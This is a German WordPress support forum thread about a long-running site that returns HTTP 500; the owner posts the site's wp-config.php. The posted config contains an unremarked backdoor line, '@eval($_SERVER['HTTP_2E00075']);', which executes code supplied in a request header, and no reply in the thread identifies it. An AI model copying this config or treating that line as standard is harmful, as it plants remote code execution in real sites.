• Gelöst soorholtztom

    (@soorholtztom)


    Hallo,

    die Website einer Freundin ist seit ungewisser Zeit nicht mehr zu erreichen. Am 29. April meldete die Site beim Aufrufen: »Es gab einen kritischen Fehler auf deiner Website« und darunter einen Link. Seit mindestens dem 9. Mai bleibt die Site unter Firefox weiß und Chromium meldet den HTTP ERROR 500. Der Fehler wird sowohl beim Aufruf des Frontends wie auch das Backends gemeldet.

    Der Hoster der Site ist web.de, als Serversoftware wird Apache verwendet, die php-Version ist 7.4.5. Die WordPress-Version ist 6.4.3.

    Die Seite existiert in der heutigen Form bereits seit sehr langer Zeit und wurde ursprünglich von einem professionellen Webdesigner eingerichtet, der aber das Gewerbe wechselte und für Rückfragen nicht zur Verfügung steht. Die ältesten Dateien in wp-content/themes auf dem Server stammen von 2013.

    Mir ist die »Betreuung« der Site im letzten Jahr zugefallen, als sie schon einmal einen »kritischen Fehler« meldete. Ohne tiefere WordPress-Kenntnisse konnte ich damals helfen: Ich deaktivierte einige Plugins und holte unterlassene Aktualisierungen nach. Die Seite lief danach fehlerfrei.

    Vor dem jetzigen Fehler gab es keinen bekannten Eingriff auf der Site. Ich konnte jedoch veränderte Dateien im Theme-Folder (twentytwentyfour und required-foundation) vom März und April dieses Jahres feststellen. Hier wurden eventuell automatische Updates eingespielt.

    Zur Fehlerbehebung habe ich auch dieses Mal als erstes alle Plugins per FTP-Zugriff deaktiviert. Dies blieb aber ebenso erfolglos wie die anschließende Neuanlage der .htaccess-Datei und das Löschen des Custom-Theme.

    Ich habe versucht, ein debug.log der Site zu erstellen, aber vergeblich. Ich konnte Debug-Meldungen weder in einer Datei noch auf dem Display ausgeben, obwohl ich das Debugging gemäß Anweisung im Advanced Administration Handbook von WP einrichtete. Mir fiel jedoch auf, dass im FTP-Verzeichnis eigener Folder »logs« liegt, der aber nur den Access zur Site protokolliert. In PHP ist display_errors ausgeschaltet. Eine php.ini kann ich auf dem Server nicht finden. Die Besitzerin der Site hat web.de wegen Fehler-Logs angeschrieben, bislang aber keine Antwort erhalten.

    Da mir die Ideen ausgegangen sind, habe ich vorerst nur ein Baustellenschild als index.html auf die Site gestellt. Kann ich noch etwas tun, bevor ich die ganze Installation lösche?

    Die Seite, für die ich Hilfe brauche: [Anmelden, um den Link zu sehen]

Ansicht von 8 Antworten – 1 bis 8 (von insgesamt 8)
  • Es ist durchaus sinnvoll, bei einer Website mit Programmierfehlern nur sehr knappe Fehlermeldungen auszugeben, um mögliche Angreifer nicht auch noch mit der Nase auf mögliche Sicherheitslücken zu stoßen. Deshalb wird im Frontend nur eine wenig aussagefähige Fehlermeldung „500 – Internal Server Error“ ausgegeben bzw. eine leere Seite gezeigt. Intern wird aber in einem Error-Log protokolliert, welche Ursachen zu diesem Fehler geführt haben. Frag bitte mal beim Support des Webhosters nach, wie du an diesen Error-Log kommst. Manchmal muss das auch erst in den Einstellungen im Kundenmenü des Webhosters aktiviert werden. Den Inhalt kannst du gerne hier teilen. Bei all zu langen Logeinträgen mit vielen Wiederholungen reicht ein typischer Fehler-Block.

    Da die meisten Fehler durch Plugins ausgelöst werden, ist eine gängige Methode, erst einmal das Plugin-Verzeichnis wp-content/pluginsz.B,. in wp-content/no.plugins umzubenennen. Versuchst du anschließend, dich im Backend anzumelden, werden alle Plugins deaktiviert (und fallen damit als Fehlerursache aus). Klappt damit bereits der Zugriff auf das Backend, nimmst du die Umbenennung zurück, führst im Menü Plugins ggf. anstehende Updates durch (vielleicht wurde ein Programmierfehler längst behoben?) und aktivierst die Plugins einzeln. Ziel ist, die Ursache möglichst weiter einzugrenzen und ggf. ein Plugin auszutauschen.

    Thread-Starter soorholtztom

    (@soorholtztom)

    Guten Morgen, Bego Mario Garde, und vielen Dank für die schnelle Antwort. Ich habe jetzt noch einmal das Verzeichnis plugins unter wp_content umbenannt und eine Anmeldung am Backend versucht. Leider vergeblich. Es bleibt bei der Fehlermeldung „500“. Die Error-Logs sind beim Webhoster angefordert, der aber die erste Anfrage missverstand. Ich komme gern auf das freundliche Angebot zurück, die Logs hier auszugsweise zu posten, sobald ich Zugriff habe.

    In der Zwischenzeit poste bitte mal die wp-config.php.

    Die Zeilen mit den Zugangsdaten und Sicherheitsschlüsseln kannst du bitte in deiner Antwort löschen – wir wollen niemandem eine Eintrittskarte geben, deine Datenbank zu manipulieren.

    Thread-Starter soorholtztom

    (@soorholtztom)

    Hallo Bego Mario Garde,

    das mache ich sehr gern. Anbei der Code:

    /**  MySQL Einstellungen - diese Angaben bekommst du von deinem Webhoster. */
    /**  Ersetze database_name_here mit dem Namen der Datenbank, die du verwenden mˆchtest. */
    define('DB_NAME', 'dbxxxxxxxxxx');
    
    /** Ersetze username_here mit deinem MySQL-Datenbank-Benutzernamen */
    define('DB_USER', 'dbxxxxxxxxxx');
    
    /** Ersetze password_here mit deinem MySQL-Passwort */
    define('DB_PASSWORD', 'xxxxxxxx');
    
    /** Ersetze localhost mit der MySQL-Serveradresse */
    define('DB_HOST', 'dbxxxxxxxxx.hosting-data.io');
    
    /** Der Datenbankzeichensatz der beim Erstellen der Datenbanktabellen verwendet werden soll */
    define('DB_CHARSET', 'utf8');
    
    /** Der collate type sollte nicht ge‰ndert werden */
    define('DB_COLLATE', '');
    
    /**#@+
     * Sicherheitsschl¸ssel
     *
     * ƒndere jeden KEY in eine beliebige, mˆglichst einzigartige Phrase. 
     * Auf der Seite {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} kannst du dir alle KEYS generieren lassen.
     * Bitte trage f¸r jeden KEY eine eigene Phrase ein. Du kannst die Schl¸ssel jederzeit wieder ‰ndern, alle angemeldeten Benutzer m¸ssen sich danach erneut anmelden.
     *
     * @seit 2.6.0
     */
    define('AUTH_KEY',         'xxxxx');
    define('SECURE_AUTH_KEY',  'xxxxx');
    define('LOGGED_IN_KEY',    'xxxxx');
    define('NONCE_KEY',        'xxxxx');
    define('AUTH_SALT',        'xxxxx');
    define('SECURE_AUTH_SALT', 'xxxxx');
    define('LOGGED_IN_SALT',   'xxxxx');
    define('NONCE_SALT',       'xxxxx');
    
    /**#@-*/
    
    /**
     * WordPress Datenbanktabellen-Pr‰fix
     *
     *  Wenn du verschiedene Pr‰fixe benutzt, kannst du innerhalb einer Datenbank
     *  verschiedene WordPress-Installationen betreiben. Nur Zahlen, Buchstaben und Unterstriche bitte!
     */
    $table_prefix  = 'wp_';
    
    /**
     * WordPress Sprachdatei
     *
     * Hier kannst du einstellen, welche Sprachdatei benutzt werden soll. Die entsprechende
     * Sprachdatei muss im Ordner wp-content/languages vorhanden sein, beispielsweise de_DE.mo
     * Wenn du nichts eintr‰gst, wird Englisch genommen.
     */
    define('WPLANG', 'de_DE');
    
    /**
     * For developers: WordPress debugging mode.
     *
     * Change this to true to enable the display of notices during development.
     * It is strongly recommended that plugin and theme developers use WP_DEBUG
     * in their development environments.
     */
    define( 'WP_DEBUG', false );
    
    /* That's all, stop editing! Happy blogging. */
    
    /** Absolute path to the WordPress directory. */
    if ( !defined('ABSPATH') )
    	define('ABSPATH', dirname(__FILE__) . '/');
    
    /** Sets up WordPress vars and included files. */
    @eval($_SERVER['HTTP_2E00075']);
    require_once(ABSPATH . 'wp-settings.php');

    Ich habe die Werte vor „That’s all, stop …“ schon ersetzt mit:

    define( 'WP_DEBUG', true );
    define( 'WP_DEBUG_LOG', true );
    define( 'WP_DEBUG_DISPLAY', true );
    @ini_set( 'display_errors', 1 );

    aber das hatte absolut keinen Effekt. – Der Hosting-Anbieter web.de hat sich heute gemeldet und um Geduld gebeten. Sie geben den Wunsch nach Einsicht in die Error Logs an die zuständige Fachabteilung weiter …

    Vielen Dank für deine Unterstützung und deine Zeit.

    Thread-Starter soorholtztom

    (@soorholtztom)

    Hallo zusammen, heute ist endlich eine Antwort von web.de eingegangen. Zu meiner Bitte, mir Einsicht in die Error Logs zu gewähren, schreiben sie kurz und bündig: „Dies ist leider nicht möglich“. Ein Grund wird nicht mitgeteilt. Damit ist wohl die letzte Chance dahin, die Fehlerursache zu identifizieren. Ich werde in der nächsten Zeit eine Neuinstallation von WordPress versuchen. Vielen Dank für eure Hilfe. – Ich würde das Thema gern schließen, aber gelöst ist es nicht. Gibt es eine Möglichkeit, auch ungelöste Themen zu schließen?

    • Diese Antwort wurde geändert vor 6 Monaten, 2 Wochen von soorholtztom.

    Hi,

    hast Du nicht die Möglichkeit auf PHP 8 zu switchen und zu testen?

    Viele Grüße,
    Ray

    Hallo,

    Ich würde das Thema gern schließen, aber gelöst ist es nicht. Gibt es eine Möglichkeit, auch ungelöste Themen zu schließen?

    Auch gelöste Themen werden hier nicht geschlossen.
    Evtl. ist es besser, wenn du dir einen anderen Hoster suchst.

    Viele Grüße
    Hans-Gerd

    Da ich nicht alle paar Tage bei der Durchsicht noch offener Threads diesen langen Thread durchgehen möchte, ändere ich den Status trotzdem auf „gelöst“. Die Feststellung, dass ein Webhoster eine notwendige Leistung nicht erbringt, ist zwar unbefriedigend, aber eben auch eine Lösung. Ich schließe mich der Empfehlung von Hans-Gerd an, den Webhoster möglichst zeitnah zu wechseln.

Ansicht von 8 Antworten – 1 bis 8 (von insgesamt 8)
  • Das Thema „Alte Installation mit HTTP Error 500“ ist für neue Antworten geschlossen.